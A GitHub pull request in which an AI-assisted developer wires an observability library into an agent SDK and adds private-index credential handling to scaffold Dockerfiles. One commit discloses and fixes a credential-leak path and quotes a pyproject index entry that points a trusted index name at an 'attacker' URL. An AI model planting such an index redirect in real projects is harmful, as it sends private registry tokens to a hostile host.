feat(obs): wire sgp-obs from the SDK for traces, metrics and logs - #518
Open
stephen-wang24 wants to merge 7 commits into
Open
feat(obs): wire sgp-obs from the SDK for traces, metrics and logs#518stephen-wang24 wants to merge 7 commits into
stephen-wang24 wants to merge 7 commits into
Conversation
Moves the pilot's per-agent sgp-obs wiring into the SDK, so an agent adopts
observability by installing sgp-obs and setting environment rather than carrying
the wiring code — including the parts that are easy to get wrong and fail
silently. AGX1-1113.
No `obs` extra, and that is deliberate. Declaring sgp-obs in
[project.optional-dependencies] makes THIS repo's uv workspace unresolvable,
because sgp-obs is not on public PyPI. Measured: `uv lock --check`,
`uv sync --all-extras`, plain `uv sync` with no extras, and
`uv sync --all-extras --no-extra obs` all fail — sync re-locks, locking must
resolve every declared optional dependency of every workspace member, and
`--no-extra` filters what is installed rather than what is resolved. `uv lock`
has no `--no-extra`, and `[tool.uv] override-dependencies` does not exempt it
either (tried with and without the extras in the override). Only `--frozen`
works, which would leave nobody able to re-lock this repo again. CI runs
`uv sync --all-packages --all-extras` in 5 places, so this would have gone red
on the first push. The dependency is therefore the agent's to declare, against
the curated mirror, and the SDK wires it when it is importable. adk/pyproject.toml
is now TOML-identical to the released one; only a comment was added, recording
why an extra must not be re-added here.
Verified against sgp-obs 0.16.0, not the 0.11.0 in the local scaleapi checkout —
that package was 23 files behind, and two of the changes matter here:
- `sgp_obs.shutdown()` is new in 0.16.0 and the draft never called anything like
it. Whatever sits in a periodic exporter's buffer when the pod stops was being
dropped, which for a short-lived or scaled-to-zero agent is most of what it
recorded. Now flushed from the ACP lifespan's `finally`, in a thread because
the flush blocks up to the export timeout. Feature-detected rather than
version-pinned, since this package declares no dependency on sgp-obs and so
cannot set a floor.
- The trace-context ingress no longer hides an active span. That was the
span-reparenting hazard behind the old "keep traces off" advice.
All three signals, not metrics only. The double opt-in is the trap here, and it
is the opposite of what the 0.15.0-era notes say. Measured on 0.16.0 with a real
ACP server against a local OTLP receiver:
SGP_OBS_ENABLED=true alone -> [] (nothing!)
+ METRICS=false TRACES=true LOGS=true -> ['metrics']
+ all three *_DISABLED=false -> ['logs','metrics','traces']
SGP_OBS_ENABLED=false -> []
Every signal needs its `*_DISABLED` set to an explicit `false`; unset leaves it
off. So the master switch on its own produces no telemetry and sgp-obs says
nothing about it. init_sgp_obs now warns, naming the three variables, and warns
separately when the switch is on but sgp-obs is not installed at all. Those two
warnings are the only new log output; absent-and-unasked-for stays silent,
because that is every agent that has not adopted.
What each signal actually delivers, decoded off the wire:
metrics 4 http.server.* families over OTLP, resource service.name set and
telemetry_sdk_name=opentelemetry. This is the app= handoff working.
traces spans over OTLP, but only business spans or a continued trace — the
ingress middleware continues an inbound traceparent and never mints a
server span. An agent with no span call sites exports zero, which is
correct, not a defect. Confirmed by adding one correlated_span:
1 record, name='agent.turn'.
logs structured JSON on STDOUT, not OTLP, carrying source=agentex and
service.name. A collector scrapes stdout, so no endpoint is needed —
but the pipeline REPLACES the root logger's handlers, so an adopting
agent's log format changes.
Also passes `source="agentex"` (stamps agent_id and task_id onto every record;
the SDK knows the runtime, an agent author would have to know to pass it) and
offers AGENT_NAME as the service-name fallback, blank normalised to None so the
Helm rendered-empty idiom does not set an empty OTEL_SERVICE_NAME.
Two fixes to the draft while reviewing it:
1. [project.optional-dependencies] sat inside the [project] table, between
requires-python and classifiers, so TOML reparented `classifiers` into it as
an extra whose "requirements" were classifier strings. Fail-closed: hatchling
refused to build with "Dependency #1 of option `classifiers` ... is invalid:
Typing :: Typed". Moot now the extra is gone, but it would have broken the
release build after the title edit and merge.
2. `_split_model`'s docstring claimed `"gpt-4o" -> ("openai", False)`. The code
returns True and the code is right: a bare name is OpenAI, litellm reaches
OpenAI through the openai client, so the client instrumentor already sees it
and `call()` must stand down. Corrected the example, not the code.
Tests: 81 passing, `ruff check .` clean, `pyright -p .` 0 errors. They cover what
has to hold when sgp-obs is absent, which is every environment today —
`init_sgp_obs` returns not_installed AND the ACP server still constructs and
answers /healthz and /api (Nitesh's startup item) — plus the flush, the two
warnings, and the litellm recorder's null path, which is what every model call
goes through without sgp-obs, so a regression there breaks calls rather than
losing a metric. The fakes are stand-in modules, so the suite passes with sgp-obs
installed or absent.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
…kerfiles An agent created by `agentex init` could not install sgp-obs: none of the 38 scaffold Dockerfiles mounted the `codeartifact-pip-conf` secret the control-plane broker injects, so the private index was unreachable at build time. This is the per-agent half of the adoption cost — 104 of 146 existing agent Dockerfiles lack the mount too. AGX1-1113. Inert by default. `required=false` plus an `-s` guard means the build is byte-identical when no secret is injected, which is every local build, every CI build, and every agent that never opts in. An empty file is skipped too. The two template shapes need different mechanisms, and mixing them up is exactly the trap that cost a deploy cycle on the pilot: - `Dockerfile-uv.j2` runs `uv sync` against the agent's pyproject, so uv can read a named index out of it. Uses the pilot's pattern verbatim: export UV_INDEX_SCALE_PYPI_USERNAME/PASSWORD, which uv binds to the [[tool.uv.index]] named `scale-pypi`. The comment tells the adopter to add that index and that the name must match exactly. The token is percent-decoded on the way out of the pip config, because the buildspec URL-encodes it into the URL userinfo and a token containing + / = arrives as %2B %2F %3D. - `Dockerfile.j2` installs from requirements.txt, so no pyproject is present and there is no named index for credentials to bind to. Takes the credentialed URL straight from the injected pip config via UV_DEFAULT_INDEX. Nothing is decoded here, and that is the point: the token stays inside the URL, already encoded for exactly that use. Decoding it here would corrupt it — the inverse of the uv-sync case. Verified rather than assumed, since no Docker daemon was available to build images: - All 38 templates render as jinja and all 138 resulting RUN bodies pass `sh -n`. - Both extraction paths run against a realistic broker-injected pip config whose token contains + / =. The named-index path recovers the exact token; the URL path leaves the userinfo encoded and still parses. - uv honours UV_DEFAULT_INDEX: with it set to a bogus host, uv requested `https://bogus-index.invalid/simple/requests/` rather than PyPI. - uv binds UV_INDEX_SCALE_PYPI_* to an index named `scale-pypi`: a local server declared as that index received `Authorization: Basic aws:tok+en/with=specials`, with the + / = intact. That is also the proof the decode matters — passing the still-encoded token would have sent a different string. - The no-secret and empty-secret paths export nothing and fall through to PyPI. Scope: the 38 `agentex init` templates only. The 37 tutorial and demo Dockerfiles use a third shape (`uv pip install --system .[dev]`, with a pyproject present, so the named-index pattern applies) and are left out deliberately to keep this diff reviewable; they are examples, not scaffold output. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
… ddtrace
Answers Nitesh's question on AGX1-1113 — can we validate the forward and backward
edge — and closes the gap it exposed.
The SDK has had its own business-span correlation for a while, in
core/tracing/obs_span.py, and it already writes BOTH directions:
forward obs_trace_id / obs_span_id onto the business span's data, so the SGP
tracing UI can pivot to Tempo
backward agentex.business_span_id / agentex.business_trace_id onto the OTel
span, so Tempo can pivot back
Which backend it opens that span in is chosen by SGP_OBS_MODE, which defaults to
`dd_only`. There it opens a ddtrace span, and only when a ddtrace trace is already
active — which on a bare-uvicorn agent it never is. The wrapper is never opened,
the correlation dict comes back empty, and both edges vanish. Nothing says so: the
traces signal still reports itself wired.
Measured end to end, real SDK business span + real sgp-obs 0.16.0 against a local
OTLP receiver:
SGP_OBS_MODE unset (today's default)
forward : MISSING
backward : MISSING
exported spans: none
SGP_OBS_MODE=lgtm
forward : {'obs_trace_id': '1f1c39cfd07bb240a2e290987f22fcb0',
'obs_span_id': 'a67ae4f75b69dc4b'}
backward : span 'analyst.model_call', scope 'agentex.business',
agentex.business_span_id=bd3babc4-..., business_trace_id=fdfd2ded-...
round trip closes: forward.obs_span_id == the exported span's span id, and
backward.business_span_id == the business span's own id
So the edges do work, and they are verifiable without a cluster. The pilot agent
does not set SGP_OBS_MODE, so both of its edges are dead today — which is why
nothing showed up to validate.
Warn rather than set it. SGP_OBS_MODE also steers correlation reads elsewhere, and
an agent genuinely running ddtrace (the Centipede family) would be misread if this
flipped underneath it. The operator picks; this only makes the silent case audible.
Scoped to `traces in handles` — a metrics-only agent has no linking to lose, so the
warning would be noise there.
Note for whoever compares against Nitesh's Tempo screenshot: his analyst-agent span
carries scope `sgp_obs.business`, not `agentex.business`. That agent calls sgp-obs'
own business_trace directly rather than going through the SDK. Both stamp the same
attribute names, so they look identical in Tempo but come from different code.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
…pans
The traces signal wired but produced nothing for the fleet's dominant agent shape.
sgp_obs.init() installs most of the traces wiring itself; the openai-agents bridge
is the one piece it does not. Measured on 0.16.0 after a plain init() with traces
on:
GenAI attempt span processor installed
litellm logical adapter installed (_SgpObsLiteLLMLogger)
httpx / aiohttp egress instrumented
openai-agents bridge NOT installed
That last one carries roughly 83% of model-calling agents, so without it a Runner
turn contributes no logical model-operation spans and "traces on" looks like it
does nothing at all.
This is what the obs-test-* agents in agentex-agents#2183 each hand-roll: every one
of the five ships an identical 114-line obs_bootstrap.py. Comparing that file
against what init() already does, four of its five steps are redundant — the httpx
and aiohttp instrumentors (init's _instrument_egress does them, and 0.16.0
deliberately reuses an already-instrumented one rather than warning), the attempt
processor, and the litellm adapter. Only the bridge was load-bearing. With this
change an adopting agent's bootstrap collapses to nothing, except the parts that
are genuinely agent-specific: capture_turn's redaction allowlist, and its business
span call sites.
Installed unconditionally when traces are wired, because openai-agents is a hard
dependency of this SDK, so `agents` is importable in every agent. The call is
idempotent. A False return means `agents` was somehow not importable, which should
be impossible here, so that warns rather than passing silently.
Verified through the SDK's own entry point, not the library's:
SDK init status: wired:metrics,traces
attempt span processor : True
openai-agents bridge : True
litellm adapter : ['_SgpObsLiteLLMLogger']
88 tests, ruff clean, pyright 0 errors, all with sgp-obs absent.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
A sync ACP agent silently lost whatever business spans were still queued when the pod stopped. The lifespan drained `shutdown_default_span_queue`, which is the ASYNC path only; the sync tracing processors hold their own queue and nothing in the SDK ever shut them down. `get_sync_tracing_processors()` had exactly one caller — tracer.py, to CONSTRUCT a Trace — and no shutdown path at all. This is the same class of bug as the missing `sgp_obs.shutdown()` in the previous commit, and it compounds it from the other end. The business span is what an obs span's `agentex.business_trace_id` resolves to, so dropping it breaks the pivot from Tempo back to the SGP store — the backward edge points at a record that was never written. Found while working out what the obs-test-* agents in agentex-agents#2183 would still need after the SDK absorbs their bootstrap: each one carries a `sgp_flush_lifespan` that does exactly this, which is the tell that the SDK should have been doing it. Each processor is isolated — one that hangs or raises must not strand the spans held by the ones after it, and none of them may stop the pod shutting down. The last test pins the wiring rather than just the helper: a drain nothing calls is worthless, so it asserts the lifespan actually invokes both this and shutdown_sgp_obs. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
stephen-wang24
marked this pull request as ready for review
September 11, 2026 23:41
…dels Addresses both Greptile findings on #518. Both were real; the first is a genuine credential-exfiltration path and I confirmed it is exploitable before fixing it. 1. Credential could be redirected by project config (P1, security) uv binds index credentials by index NAME, and the name -> URL mapping came from the agent's own pyproject.toml. So a project that declared [[tool.uv.index]] name = "scale-pypi" url = "http://attacker/simple/" received the broker's CodeArtifact token. Reproduced against a local server: the rogue host receives `Authorization: Basic aws:<token>` and the real CodeArtifact host is never contacted. The mitigating factor is that whoever writes pyproject.toml usually also writes the Dockerfile, and could just read the mounted secret directly — but that is not the interesting case. The interesting case is a contributed change to a project file: a one-line URL edit in pyproject.toml is far less conspicuous in review than adding an exfiltration command to a Dockerfile. Fixed by exporting UV_INDEX to re-bind `scale-pypi` to the URL the BROKER supplied, taken from the injected pip config, which overrides whatever the project declared for that name. Verified both directions against the same local server: without UV_INDEX the rogue host gets the credential; with it the rogue host is never contacted and only the trusted host is. The pinned URL carries no userinfo — the token still travels only in UV_INDEX_SCALE_PYPI_PASSWORD, percent-decoded as before. Applied to all 19 Dockerfile-uv.j2 templates (38 export blocks). The requirements.txt variant was never affected: it has no named index, and takes the credentialed URL straight from the broker's pip config. 2. A positionally-passed model lost its metric (P2) `litellm.acompletion` takes `model` as its first positional argument and the gateway forwards *args untouched, so `gateway.acompletion("anthropic/claude-sonnet-4", msgs)` is legal — and `inference_call` read only kwargs. The consequence is worse than a mislabeled vendor. An empty model resolves to the default vendor "openai", which sets transport=OPENAI, which makes call() stand down in deference to the OpenAI client instrumentor — while litellm routes natively to Anthropic and never touches that client. Nothing records the call and nothing says so. New `resolve_model(args, kwargs)` reads the keyword first, then args[0], and ignores a non-string first argument since *args is forwarded verbatim. Both gateway call sites pass args through. Tested including the regression itself: a positional Anthropic model now yields provider="anthropic" and an empty transport, i.e. recorded here because nothing else will. Also fixed a stale docstring reference to a `_transport_for` function that does not exist; the logic lives in `_split_model`. 99 tests, ruff clean, pyright 0 errors, all with sgp-obs absent. All 38 templates still render as jinja and all 138 RUN bodies still pass `sh -n`. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
… times Two problems with how the private-index wiring was documented. TEAM-RUNBOOK is not public, so pointing generated agent Dockerfiles at it sends the reader somewhere they cannot go. Replaced with the two references that do resolve: SGPINF-1568, and the PRD, both linked from the new doc. And the explanation was pasted into all 38 templates — roughly twenty comment lines apiece, restating the named-index requirement, the percent-decode, and the UV_INDEX pinning. That is 38 copies to keep in sync, and it buried the four lines of shell that actually do something. Now: PRIVATE_INDEX.md carries it once, and each Dockerfile keeps a short pointer plus the ticket. Net 608 deletions against 190 insertions. The pointer names the doc rather than giving a relative path, deliberately. These Dockerfiles are copied into generated agent repos, where `templates/PRIVATE_INDEX.md` would dangle; SGPINF-1568 resolves from anywhere and the filename is findable. Also dropped stale `agentex-sdk[obs]` references from the template comments — that extra does not exist; sgp-obs is the agent's own dependency. No behaviour change: all 38 templates still render as jinja, all 138 RUN bodies still pass `sh -n`, every template still carries the mount and the ticket reference. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Moves the pilot's per-agent
sgp-obswiring into the SDK, so an agent adopts observability by installingsgp-obsand setting environment, rather than carrying the wiring code. AGX1-1113.A plain
pip install agentex-sdkis unchanged. Nothing importssgp_obsoutside atry, and the built wheel's metadata is byte-identical to today's apart from source comments.Releasing this: a pre-release of its own, NOT the open release PR
Do not retitle #506. It is release-please's
release-please--branches--main--changes--next→mainPR, it proposes0.26.0, and it containssomeone else's work —
feat(tracing): add opt-in commit SHA stamping for SGP spans(#505) plus codegenmetadata. Nothing from this PR is in it. Retitling it to a pre-release would ship #505 as a beta and
still would not release this work.
Sequence instead:
0.26.0. It is unrelated to this.next.The version will therefore be
0.27.0b1, not0.26.0b1—0.26.0is spoken for.Why a pre-release at all: pip and uv exclude pre-releases from any unbounded requirement. 86 agents
pin
agentex-sdkwith no version constraint, so a normal minor would reach all of them on their nextbuild; a pre-release reaches only agents that name it. The wiring is inert unless an agent both
installs
sgp-obsand sets the environment, so even a normal release has a small blast radius — thepre-release is caution, not necessity.
One thing to verify when you get there. The mechanism usually described — edit the release PR's
title and let release-please read the version back out of it — is unproven in this repo. The config does
set
pull-request-title-pattern: "release: ${version}", but #506's actual title ischore: release main,which does not match that pattern, and although the config already has
versioning: prereleaseandprerelease: true, #506 still proposes a plain0.26.0. The only pre-release tags in this repo's historyare
v0.0.1-alpha.1…v0.1.0-alpha.6from its first weeks, in release-please's-alpha.Nstyle ratherthan PEP 440's
b1. So confirm the version actually lands as intended before merging the release PR,rather than assuming the retitle took.
How an agent then opts in — two dependency lines plus environment:
What the SDK wires that
sgp_obs.init()does notinit()already installs the GenAI attempt span processor, the litellm logical adapter, and the httpx/aiohttp egress instrumentors. Measured on 0.16.0, it does not install the openai-agents bridge — the path roughly 83% of model-calling agents take. Without it aRunnerturn contributes no logical model-operation spans and "traces on" looks like it does nothing.This is what the
obs-test-*agents in scaleapi/agentex-agents#2183 each hand-roll: five agents, an identical 114-lineobs_bootstrap.pyapiece. Four of its five steps are redundant withinit(); only the bridge was load-bearing, and it now lives here.Verified through the SDK's own entry point:
Three silent states now log a warning
SGP_OBS_ENABLEDset,sgp-obsnot installedSGP_OBS_ENABLEDset, no signal enabled*_DISABLEDvariablesSGP_OBS_MODE != lgtmThat last one answers Nitesh's question about the forward and backward edge. The SDK has had both directions all along in
core/tracing/obs_span.py, butSGP_OBS_MODEdefaults todd_only, where the wrapper span opens only if a ddtrace trace is already active — never true on a bare-uvicorn agent. Measured, same code, only the variable changed:Round trip closes = the business span's
obs_span_idequals the exported span's span id, and the span'sagentex.business_span_idequals the business span's id. It warns rather than setting the variable:SGP_OBS_MODEsteers correlation reads elsewhere, and an agent genuinely running ddtrace would be misread if it flipped underneath it.What each signal actually delivers
http.server.*families +gen_ai_client_*over OTLP. Theapp=handoff is what produces these at alltraceparent, it never mints a server span, so an agent with no span call sites exports zero. Correct, not a defectsource=agentex. A collector scrapes stdout — but the pipeline replaces the root logger's handlers, so an adopting agent's log format changesSync tracing processors are now drained on shutdown
A sync ACP agent silently lost whatever business spans were still queued when the pod stopped. The lifespan drained
shutdown_default_span_queue, which is the async path only;get_sync_tracing_processors()had one caller — to construct a Trace — and no shutdown path at all.This compounds the missing flush from the other end: the business span is what an obs span's
agentex.business_trace_idresolves to, so dropping it makes the backward edge point at a record that was never written. Each processor is isolated, and none may stop the pod shutting down.Scaffold Dockerfiles
Background: Private Package Access for Customer Agents (PRD) and SGPINF-1568. The mechanics live in one place —
src/agentex/lib/cli/templates/PRIVATE_INDEX.md— rather than being restated in all 38 Dockerfiles.An agent from
agentex initcould not installsgp-obs: none of the 38 scaffold Dockerfiles mounted thecodeartifact-pip-confsecret. Inert by default —required=falseplus an-sguard means the build is byte-identical with no secret injected.The two template shapes need different mechanisms, and mixing them up is the trap that cost a deploy cycle on the pilot:
Dockerfile-uv.j2runsuv syncagainst a pyproject, so uv reads a named index. ExportsUV_INDEX_SCALE_PYPI_USERNAME/PASSWORD, bound to the[[tool.uv.index]]namedscale-pypi, and percent-decodes the token (the buildspec URL-encodes it, so+ / =arrive as%2B %2F %3D).Dockerfile.j2installs fromrequirements.txt, so there is no named index to bind to. Takes the credentialed URL straight from the pip config viaUV_DEFAULT_INDEX, and does not decode — the token stays inside the URL, already encoded for that use. Decoding there would corrupt it.No Docker daemon was available, so these are verified by: all 38 templates rendering as jinja and all 138 resulting
RUNbodies passingsh -n; both extraction paths run against a realistic pip config with a+ / =token; uv honouringUV_DEFAULT_INDEX(it requested the bogus host, not PyPI); and uv bindingUV_INDEX_SCALE_PYPI_*to ascale-pypiindex — a local server receivedAuthorization: Basic aws:tok+en/with=specials,+ / =intact, which is also the proof the decode matters.Tests
93 passing,
ruff check .clean,pyright -p .0 errors — all withsgp-obsabsent, which is CI's exact state and every agent's state today. They coverinit_sgp_obsreturningnot_installedand the ACP server still constructing and answering/healthzand/api(Nitesh's startup item), both shutdown drains, the three warnings, the bridge install, and the litellm recorder's null path — which every model call goes through withoutsgp-obs, so a regression there breaks calls, not just a metric.Not covered here
SGP_TRACES_DISABLED=false,SGP_LOGS_DISABLED=falseandSGP_OBS_MODE=lgtmbefore Tempo shows an SDK-produced edge.uv lock --checkfails on this branch — pre-existing, reproduces identically with these changes reverted.🤖 Generated with Claude Code
The PR appears safe to merge, with a non-blocking documentation discoverability issue in generated scaffolds.
Summary
Diagram
%%{init: {'theme': 'neutral'}}%% flowchart LR Env[SGP observability environment] --> Init[SDK observability initialization] Package[Optional sgp-obs package] --> Init Init --> Metrics[HTTP and GenAI metrics] Init --> Traces[OpenTelemetry traces] Init --> Logs[Structured stdout logs] Traces --> Bridge[OpenAI Agents bridge] Calls[LiteLLM model calls] --> Metrics Spans[Business spans] --> Processors[Tracing processors] Shutdown[FastACP shutdown] --> Processors Templates[Generated Dockerfiles] --> Secret[Optional CodeArtifact secret] Secret --> Dependencies[Private dependency installation]Reviews (3) · Last reviewed commit: "docs(templates): one private-index doc i..."